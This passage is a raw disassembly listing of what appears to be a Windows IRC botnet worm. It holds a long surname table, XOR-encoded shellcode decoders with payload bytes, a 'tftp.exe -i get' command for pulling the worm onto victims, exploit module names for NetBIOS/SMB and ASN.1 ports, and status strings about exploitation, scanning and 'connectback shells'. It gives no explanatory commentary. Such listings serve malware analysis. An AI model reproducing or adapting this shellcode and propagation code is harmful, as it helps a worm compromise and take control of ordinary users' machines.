XREF: ___:0042D9C4o align 4 aConnors db 'Connors',0 ; DATA XREF: ___:0042D9C0o aCondodina db 'Condodina',0 ; DATA XREF: ___:0042D9BCo align 4 aConcino db 'Concino',0 ; DATA XREF: ___:0042D9B8o aComstock db 'Comstock',0 ; DATA XREF: ___:0042D9B4o align 10h aCompton db 'Compton',0 ; DATA XREF: ___:0042D9ACo ; ___:0042D9B0o aCollis db 'Collis',0 ; DATA XREF: ___:0042D9A8o align 10h aCollard db 'Collard',0 ; DATA XREF: ___:0042D9A4o aColella db 'Colella',0 ; DATA XREF: ___:0042D9A0o aColdren db 'Coldren',0 ; DATA XREF: ___:0042D99Co aCoito db 'Coito',0 ; DATA XREF: ___:0042D998o align 10h aCoblenz db 'Coblenz',0 ; DATA XREF: ___:0042D994o aClow db 'Clow',0 ; DATA XREF: ___:0042D990o align 10h aClifton db 'Clifton',0 ; DATA XREF: ___:0042D98Co aClement db 'Clement',0 ; DATA XREF: ___:0042D988o aClark db 'Clark',0 ; DATA XREF: ___:0042D984o align 4 aClancy db 'Clancy',0 ; DATA XREF: ___:0042D980o align 10h aClaffey db 'Claffey',0 ; DATA XREF: ___:0042D97Co aCifarelli db 'Cifarelli',0 ; DATA XREF: ___:0042D978o align 4 aCicero db 'Cicero',0 ; DATA XREF: ___:0042D974o align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: ___:0042D970o align 4 aChurch db 'Church',0 ; DATA XREF: ___:0042D96Co align 10h aChupasko db 'Chupasko',0 ; DATA XREF: ___:0042D968o align 4 aChu db 'Chu',0 ; DATA XREF: ___:0042D964o aChristopher db 'Christopher',0 ; DATA XREF: ___:0042D960o aChristie db 'Christie',0 ; DATA XREF: ___:0042D95Co align 4 aChristiano db 'Christiano',0 ; DATA XREF: ___:0042D958o align 4 aChristian db 'Christian',0 ; DATA XREF: ___:0042D954o align 10h aChristenson db 'Christenson',0 ; DATA XREF: ___:0042D950o aChinman db 'Chinman',0 ; DATA XREF: ___:0042D94Co aChinipardaz db 'Chinipardaz',0 ; DATA XREF: ___:0042D948o aChilds db 'Childs',0 ; DATA XREF: ___:0042D944o align 4 aChildress db 'Childress',0 ; DATA XREF: ___:0042D940o align 4 aChien db 'Chien',0 ; DATA XREF: ___:0042D93Co align 4 aChiassino db 'Chiassino',0 ; DATA XREF: ___:0042D938o align 4 aChervinsky db 'Chervinsky',0 ; DATA XREF: ___:0042D934o align 4 aCherry db 'Cherry',0 ; DATA XREF: ___:0042D930o align 4 aCheang db 'Cheang',0 ; DATA XREF: ___:0042D92Co align 4 aCharles db 'Charles',0 ; DATA XREF: ___:0042D928o aChapman db 'Chapman',0 ; DATA XREF: ___:0042D924o aCerioli db 'Cerioli',0 ; DATA XREF: ___:0042D920o aCeniceros db 'Ceniceros',0 ; DATA XREF: ___:0042D91Co align 4 aCavell db 'Cavell',0 ; DATA XREF: ___:0042D918o align 10h aCavanagh db 'Cavanagh',0 ; DATA XREF: ___:0042D914o align 4 aCastelda db 'Castelda',0 ; DATA XREF: ___:0042D910o align 4 aCaspar db 'Caspar',0 ; DATA XREF: ___:0042D90Co align 10h aCase db 'Case',0 ; DATA XREF: ___:0042D908o align 4 aCascio db 'Cascio',0 ; DATA XREF: ___:0042D904o align 10h aCartmill db 'Cartmill',0 ; DATA XREF: ___:0042D900o align 4 aCarper db 'Carper',0 ; DATA XREF: ___:0042D8FCo align 4 aCaroti db 'Caroti',0 ; DATA XREF: ___:0042D8F8o align 4 aCarmichael db 'Carmichael',0 ; DATA XREF: ___:0042D8F4o align 4 aCarlyle db 'Carlyle',0 ; DATA XREF: ___:0042D8F0o aCarlos db 'Carlos',0 ; DATA XREF: ___:0042D8ECo align 4 aCarlin db 'Carlin',0 ; DATA XREF: ___:0042D8E8o align 10h aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: ___:0042D8E4o aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: ___:0042D8E0o aCapursi db 'Capursi',0 ; DATA XREF: ___:0042D8DCo aCappuccio db 'Cappuccio',0 ; DATA XREF: ___:0042D8D8o align 10h aCapodilupo db 'Capodilupo',0 ; DATA XREF: ___:0042D8D4o align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: ___:0042D8D0o align 4 aCaperton db 'Caperton',0 ; DATA XREF: ___:0042D8CCo align 4 aCapanni db 'Capanni',0 ; DATA XREF: ___:0042D8C8o aCanley db 'Canley',0 ; DATA XREF: ___:0042D8C4o align 4 aCammilleri db 'Cammilleri',0 ; DATA XREF: ___:0042D8C0o align 10h aCammelli db 'Cammelli',0 ; DATA XREF: ___:0042D8BCo align 4 aCalnan db 'Calnan',0 ; DATA XREF: ___:0042D8B8o align 4 aCage db 'Cage',0 ; DATA XREF: ___:0042D8B4o align 4 aByrd db 'Byrd',0 ; DATA XREF: ___:0042D8B0o align 4 aByerly db 'Byerly',0 ; DATA XREF: ___:0042D8ACo align 4 aByatt db 'Byatt',0 ; DATA XREF: ___:0042D8A8o align 4 aBusetta db 'Busetta',0 ; DATA XREF: ___:0042D8A4o aBurridge db 'Burridge',0 ; DATA XREF: ___:0042D8A0o align 4 aBurke db 'Burke',0 ; DATA XREF: ___:0042D89Co align 10h aBurdzy db 'Burdzy',0 ; DATA XREF: ___:0042D898o align 4 aBurden db 'Burden',0 ; DATA XREF: ___:0042D894o align 10h aBunton db 'Bunton',0 ; DATA XREF: ___:0042D890o align 4 aBullard db 'Bullard',0 ; DATA XREF: ___:0042D88Co aBudding db 'Budding',0 ; DATA XREF: ___:0042D888o aBuchan db 'Buchan',0 ; DATA XREF: ___:0042D884o align 10h aBrzycki db 'Brzycki',0 ; DATA XREF: ___:0042D880o aBrook db 'Brook',0 ; DATA XREF: ___:0042D87Co align 10h aBroca db 'Broca',0 ; DATA XREF: ___:0042D878o align 4 aBritz db 'Britz',0 ; DATA XREF: ___:0042D874o align 10h aBrinton db 'Brinton',0 ; DATA XREF: ___:0042D870o aBridges db 'Bridges',0 ; DATA XREF: ___:0042D86Co aBridgeman db 'Bridgeman',0 ; DATA XREF: ___:0042D868o align 4 aBrewer db 'Brewer',0 ; DATA XREF: ___:0042D860o ; ___:0042D864o align 4 aBrennan db 'Brennan',0 ; DATA XREF: ___:0042D85Co aBrenan db 'Brenan',0 ; DATA XREF: ___:0042D858o align 4 aBreed db 'Breed',0 ; DATA XREF: ___:0042D854o align 4 aBrecht db 'Brecht',0 ; DATA XREF: ___:0042D850o align 4 aBradach db 'Bradach',0 ; DATA XREF: ___:0042D84Co aBradac db 'Bradac',0 ; DATA XREF: ___:0042D848o align 4 aBracalente db 'Bracalente',0 ; DATA XREF: ___:0042D844o align 10h aBoyne db 'Boyne',0 ; DATA XREF: ___:0042D840o align 4 aBoym db 'Boym',0 ; DATA XREF: ___:0042D83Co align 10h aBoyland db 'Boyland',0 ; DATA XREF: ___:0042D838o aBoyes db 'Boyes',0 ; DATA XREF: ___:0042D834o align 10h aBoyajian db 'Boyajian',0 ; DATA XREF: ___:0042D830o align 4 aBoxer db 'Boxer',0 ; DATA XREF: ___:0042D82Co align 4 aBowers db 'Bowers',0 ; DATA XREF: ___:0042D828o align 4 aBourneuf db 'Bourneuf',0 ; DATA XREF: ___:0042D824o align 4 aBoudrot db 'Boudrot',0 ; DATA XREF: ___:0042D820o aBoudin db 'Boudin',0 ; DATA XREF: ___:0042D81Co align 4 aBotosh db 'Botosh',0 ; DATA XREF: ___:0042D818o align 10h aBothman db 'Bothman',0 ; DATA XREF: ___:0042D814o aBossi db 'Bossi',0 ; DATA XREF: ___:0042D810o align 10h aBorden db 'Borden',0 ; DATA XREF: ___:0042D80Co align 4 aBorack db 'Borack',0 ; DATA XREF: ___:0042D808o align 10h aBoorstin db 'Boorstin',0 ; DATA XREF: ___:0042D804o align 4 aBoone db 'Boone',0 ; DATA XREF: ___:0042D800o align 4 aBookbinder db 'Bookbinder',0 ; DATA XREF: ___:0042D7FCo align 10h aBook db 'Book',0 ; DATA XREF: ___:0042D7F8o align 4 aBontempo db 'Bontempo',0 ; DATA XREF: ___:0042D7F4o align 4 aBoniface db 'Boniface',0 ; DATA XREF: ___:0042D7F0o align 10h aBonham db 'Bonham',0 ; DATA XREF: ___:0042D7ECo align 4 aBoner db 'Boner',0 ; DATA XREF: ___:0042D7E8o align 10h aBologna db 'Bologna',0 ; DATA XREF: ___:0042D7E4o aBollinger db 'Bollinger',0 ; DATA XREF: ___:0042D7E0o align 4 aBolick db 'Bolick',0 ; DATA XREF: ___:0042D7DCo align 4 aBolger db 'Bolger',0 ; DATA XREF: ___:0042D7D8o align 4 aBlyth db 'Blyth',0 ; DATA XREF: ___:0042D7D4o align 4 aBloxham db 'Bloxham',0 ; DATA XREF: ___:0042D7D0o aBloemhof db 'Bloemhof',0 ; DATA XREF: ___:0042D7CCo align 10h aBloembergen db 'Bloembergen',0 ; DATA XREF: ___:0042D7C8o aBloch db 'Bloch',0 ; DATA XREF: ___:0042D7C4o align 4 aBlizard db 'Blizard',0 ; DATA XREF: ___:0042D7C0o aBliss db 'Bliss',0 ; DATA XREF: ___:0042D7BCo align 4 aBlanke db 'Blanke',0 ; DATA XREF: ___:0042D7B8o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: ___:0042D7B4o align 4 aBlagg db 'Blagg',0 ; DATA XREF: ___:0042D7B0o align 10h aBlackwell db 'Blackwell',0 ; DATA XREF: ___:0042D7ACo align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: ___:0042D7A8o align 4 aBisho db 'Bisho',0 ; DATA XREF: ___:0042D7A4o align 10h aBisema db 'Bisema',0 ; DATA XREF: ___:0042D7A0o align 4 aBir db 'Bir',0 ; DATA XREF: ___:0042D79Co aBinion db 'Binion',0 ; DATA XREF: ___:0042D798o align 4 aBickel db 'Bickel',0 ; DATA XREF: ___:0042D794o align 4 aBiagioli db 'Biagioli',0 ; DATA XREF: ___:0042D790o align 4 aBeynart db 'Beynart',0 ; DATA XREF: ___:0042D78Co aBetti db 'Betti',0 ; DATA XREF: ___:0042D788o align 4 aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: ___:0042D784o align 4 aBernston db 'Bernston',0 ; DATA XREF: ___:0042D780o align 4 aBernassola db 'Bernassola',0 ; DATA XREF: ___:0042D77Co align 10h aBernardo db 'Bernardo',0 ; DATA XREF: ___:0042D778o align 4 aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: ___:0042D774o align 4 aBergson db 'Bergson',0 ; DATA XREF: ___:0042D770o aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: ___:0042D76Co align 4 aBelloc db 'Belloc',0 ; DATA XREF: ___:0042D768o align 4 aBellini db 'Bellini',0 ; DATA XREF: ___:0042D764o aBellhouse db 'Bellhouse',0 ; DATA XREF: ___:0042D760o align 10h aBellavance db 'Bellavance',0 ; DATA XREF: ___:0042D75Co align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: ___:0042D758o align 4 aBelfer db 'Belfer',0 ; DATA XREF: ___:0042D754o align 4 aBelaoussof db 'Belaoussof',0 ; DATA XREF: ___:0042D750o align 10h aBelanger db 'Belanger',0 ; DATA XREF: ___:0042D74Co align 4 aBehenna db 'Behenna',0 ; DATA XREF: ___:0042D748o aBedford db 'Bedford',0 ; DATA XREF: ___:0042D744o aBeder db 'Beder',0 ; DATA XREF: ___:0042D740o align 4 aBeckman db 'Beckman',0 ; DATA XREF: ___:0042D73Co aBean db 'Bean',0 ; DATA XREF: ___:0042D738o align 4 aBeal db 'Beal',0 ; DATA XREF: ___:0042D734o align 4 aBeacon db 'Beacon',0 ; DATA XREF: ___:0042D730o align 4 aBayo db 'Bayo',0 ; DATA XREF: ___:0042D72Co align 4 aBayles db 'Bayles',0 ; DATA XREF: ___:0042D728o align 4 aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042D724o align 10h aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042D720o align 4 aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042D71Co align 4 aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042D718o align 4 aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042D714o align 4 aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042D710o align 4 aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042D70Co aBarry db 'Barry',0 ; DATA XREF: ___:0042D708o align 4 aBarriola db 'Barriola',0 ; DATA XREF: ___:0042D704o align 4 aBarnett db 'Barnett',0 ; DATA XREF: ___:0042D700o aBarneson db 'Barneson',0 ; DATA XREF: ___:0042D6FCo align 4 aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042D6F8o align 4 aBarberi db 'Barberi',0 ; DATA XREF: ___:0042D6F4o aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042D6F0o align 4 aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042D6ECo align 4 aBarajas db 'Barajas',0 ; DATA XREF: ___:0042D6E8o aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042D6E4o align 4 aBanta db 'Banta',0 ; DATA XREF: ___:0042D6E0o align 4 aBaltz db 'Baltz',0 ; DATA XREF: ___:0042D6DCo align 4 aBallew db 'Ballew',0 ; DATA XREF: ___:0042D6D8o align 4 aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042D6D4o align 10h aBaleja db 'Baleja',0 ; DATA XREF: ___:0042D6D0o align 4 aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042D6CCo align 4 aBailar db 'Bailar',0 ; DATA XREF: ___:0042D6C8o align 4 aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042D6C4o aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042D6C0o aBady db 'Bady',0 ; DATA XREF: ___:0042D6BCo align 4 aBackus db 'Backus',0 ; DATA XREF: ___:0042D6B8o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042D6B4o align 4 aAzima db 'Azima',0 ; DATA XREF: ___:0042D6B0o align 10h aAyling db 'Ayling',0 ; DATA XREF: ___:0042D6ACo align 4 aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042D6A8o aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042D6A4o aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042D6A0o align 4 aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042D69Co aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042D698o align 4 aAugustus db 'Augustus',0 ; DATA XREF: ___:0042D694o align 4 aAtkins db 'Atkins',0 ; DATA XREF: ___:0042D690o align 4 aArky db 'Arky',0 ; DATA XREF: ___:0042D68Co align 4 aArjas db 'Arjas',0 ; DATA XREF: ___:0042D688o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: ___:0042D684o align 4 aArellano db 'Arellano',0 ; DATA XREF: ___:0042D680o align 4 aArduini db 'Arduini',0 ; DATA XREF: ___:0042D67Co aArbia db 'Arbia',0 ; DATA XREF: ___:0042D678o align 4 aAntos db 'Antos',0 ; DATA XREF: ___:0042D674o align 4 aAnthony db 'Anthony',0 ; DATA XREF: ___:0042D670o aAnsley db 'Ansley',0 ; DATA XREF: ___:0042D66Co align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042D668o align 4 aAndron db 'Andron',0 ; DATA XREF: ___:0042D664o align 10h aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042D660o align 4 aAndo db 'Ando',0 ; DATA XREF: ___:0042D65Co align 4 aAndel db 'Andel',0 ; DATA XREF: ___:0042D658o align 4 aAnand db 'Anand',0 ; DATA XREF: ___:0042D654o align 4 aAmsden db 'Amsden',0 ; DATA XREF: ___:0042D650o align 4 aAmeer db 'Ameer',0 ; DATA XREF: ___:0042D64Co align 4 aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042D648o align 10h aAmaral db 'Amaral',0 ; DATA XREF: ___:0042D644o align 4 aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042D640o align 4 aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042D63Co aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042D638o align 4 aAlongi db 'Alongi',0 ; DATA XREF: ___:0042D634o align 4 aAllison db 'Allison',0 ; DATA XREF: ___:0042D630o aAleks db 'Aleks',0 ; DATA XREF: ___:0042D62Co align 4 aAlda db 'Alda',0 ; DATA XREF: ___:0042D628o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042D624o align 4 aAlavi db 'Alavi',0 ; DATA XREF: ___:0042D620o align 4 aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042D61Co align 4 aAdorno db 'Adorno',0 ; DATA XREF: ___:0042D618o align 4 aAdibe db 'Adibe',0 ; DATA XREF: ___:0042D614o align 4 aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042D610o align 10h aAddison db 'Addison',0 ; DATA XREF: ___:off_42D60Co aAdams db 'Adams',0 ; DATA XREF: ___:0042D608o align 10h aAckerman db 'Ackerman',0 ; DATA XREF: ___:0042D604o align 4 aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42D600o align 4 byte_431258 db 50h ; DATA XREF: ___:0040ADEFo ; ___:0040ADFCr db 43h, 2 dup(0) dword_43125C dd 7C7325h ; DATA XREF: ___:0040AE9Ao dword_431260 dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AFA4o dword_431268 dd 3F3F3Fh ; DATA XREF: ___:loc_40AF9Bo ; sub_41AA42:loc_41AB05o dword_43126C dd 334B32h ; DATA XREF: ___:0040AF94o dword_431270 dd 5058h ; DATA XREF: ___:0040AF86o ; sub_41AA42+AAo dword_431274 dd 4B32h ; DATA XREF: ___:0040AF76o ; sub_41AA42+98o dword_431278 dd 454Dh ; DATA XREF: ___:0040AF5Do ; sub_41AA42+7Eo dword_43127C dd 3839h ; DATA XREF: ___:0040AF4Do ; sub_41AA42+6Co dword_431280 dd 544Eh ; DATA XREF: ___:0040AF3Do ; sub_41AA42+5Ao dword_431284 dd 3539h ; DATA XREF: ___:0040AF2Fo ; sub_41AA42+46o dword_431288 dd 5D64255Bh, 7325h ; DATA XREF: sub_40AFEA+3Ao dword_431290 dd 5D4D5Bh ; DATA XREF: sub_40AFEA+2Co ; sub_40AFEA+57o aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40AFEA+18o ; sub_418211+5o align 4 jmp short loc_4312A0 ; --------------------------------------------------------------------------- loc_43129E: ; CODE XREF: ___:loc_4312A0p jmp short loc_4312A5 ; --------------------------------------------------------------------------- loc_4312A0: ; CODE XREF: ___:0043129Cj call loc_43129E loc_4312A5: ; CODE XREF: ___:loc_43129Ej pop ebx xor ecx, ecx mov cx, 0FFFFh loc_4312AC: ; CODE XREF: ___:004312B1j xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_4312AC add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cl, 0FFh loc_4312C2: ; CODE XREF: ___:004312C7j xor byte ptr [ebx+0Ch], 0FFh inc ebx loop loc_4312C2 ; --------------------------------------------------------------------------- db 3 dup(0) dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; --------------------------------------------------------------------------- push 0 call sub_431364 jnz short loc_431350 retn ; --------------------------------------------------------------------------- loc_431350: ; CODE XREF: ___:0043134Dj ; ___:0043135Dj call near ptr loc_431355+1 loc_431355: ; CODE XREF: ___:loc_431350p add [edx+0], ch call sub_431364 jz loc_431350 retn ; =============== S U B R O U T I N E ======================================= sub_431364 proc near ; CODE XREF: ___:00431348p ; ___:00431358p pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn sub_431364 endp ; --------------------------------------------------------------------------- align 10h dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o align 4 aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o align 8 aSym db 'sym',0 ; DATA XREF: sub_40C124+169o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40B7DA+30o align 4 dd 5 dup(0) dword_431410 dd 0B97h ; DATA XREF: sub_401ACD+1DA0r ; sub_401ACD+1DC9o ... off_431414 dd offset sub_40E0D0 ; DATA XREF: sub_40C124+1EAr dword_431418 dd 0 ; DATA XREF: sub_40B64A+2Eo ; ___:0040D495w ... dword_43141C dd 1 ; DATA XREF: sub_40BACD+1Fr dword_431420 dd 1 ; DATA XREF: sub_40BACD+3B3r dword_431424 dd 0 ; DATA XREF: sub_40BACD+292r dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 40E206h, 0 dd 2 dup(1), 0 aNet139 db 'net139',0 align 10h dd 654E0000h, 69706174h, 393331h, 5 dup(0) dd 8Bh, 40DF8Eh, 0 dd 2 dup(1), 0 aNet445 db 'net445',0 align 10h dd 654E0000h, 69706174h, 353434h, 5 dup(0) dd 1BDh, 40DF8Eh, 0 dd 2 dup(1), 0 aAsn80 db 'asn80',0 align 10h dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0) dd 50h, 40D2D9h, 0 dd 2 dup(1), 0 aAsn445 db 'asn445',0 align 10h dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40D2D9h, 0 dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 10h dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40D2D9h, 0 dd 2 dup(1), 2 dup(0) dd 10100h, 0Eh dup(0) aAsn445_0 db 'asn445',0 align 10h db 2 dup(0) byte_4315F2 db 1 ; DATA XREF: sub_401ACD:loc_4037E6r ; sub_401ACD+1D23o db 73h dd 6D79h, 0 dd 100h, 3 dup(0) ; --------------------------------------------------------------------------- jmp short loc_43161E ; =============== S U B R O U T I N E ======================================= sub_43160E proc near ; CODE XREF: sub_43160E:loc_43161Ep pop edx dec edx xor ecx, ecx mov cx, 166h loc_431616: ; CODE XREF: sub_43160E+Cj xor byte ptr [edx+ecx], 99h loop loc_431616 jmp short loc_431623 ; --------------------------------------------------------------------------- loc_43161E: ; CODE XREF: ___:0043160Cj call sub_43160E loc_431623: ; CODE XREF: sub_43160E+Ej jo short near ptr dword_4315AC+12h cwde cdq cdq retn sub_43160E endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o align 10h dword_4317A0 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B64A+46o unk_4317AC db 2Dh ; - ; DATA XREF: sub_40B64A+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 unk_4317CC db 2Dh ; - ; DATA XREF: sub_40B719+38o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_431814 db 2Dh ; - ; DATA XREF: sub_40B785+22o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 10h aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40B7DA+7Fo dword_431850 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o dword_431860 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_40B7DA+14o dd 7473694Ch, 3Ah unk_43187C db 2Dh ; - ; DATA XREF: ___:0040BA13o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_4318B0 db 2Dh ; - ; DATA XREF: ___:0040B921o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 10h unk_4318E0 db 2Dh ; - ; DATA XREF: sub_40BA56+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 10h unk_431900 db 2Dh ; - ; DATA XREF: sub_40BA56+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_43191C db 2Dh ; - ; DATA XREF: sub_40BACD+4B7o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_33 db ' Failed to start server, error: <%d>.',0 align 10h unk_431950 db 2Dh ; - ; DATA XREF: sub_40BACD+38Fo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_34 db '- Failed to start server, error: <%d>.',0 unk_431988 db 2Dh ; - ; DATA XREF: sub_40BACD+321o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_2 db '- Server started on Port: %d.',0 align 4 unk_4319B8 db 2Dh ; - ; DATA XREF: sub_40BACD+26Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_35 db 'Failed to start server, error: <%d>.',0 align 4 unk_4319EC db 2Dh ; - ; DATA XREF: sub_40BACD+1FEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 10h unk_431A20 db 2Dh ; - ; DATA XREF: sub_40BACD+148o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_36 db ' Failed to start server, error: <%d>.',0 align 4 unk_431A54 db 2Dh ; - ; DATA XREF: sub_40C124+EEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 unk_431A7C db 2Dh ; - ; DATA XREF: sub_40C124+93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431AB4 db 2Dh ; - ; DATA XREF: sub_40C124+3E6o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_431AF4 db 2Dh ; - ; DATA XREF: sub_40C124+38Bo db 3, 34h, 2 db 73h 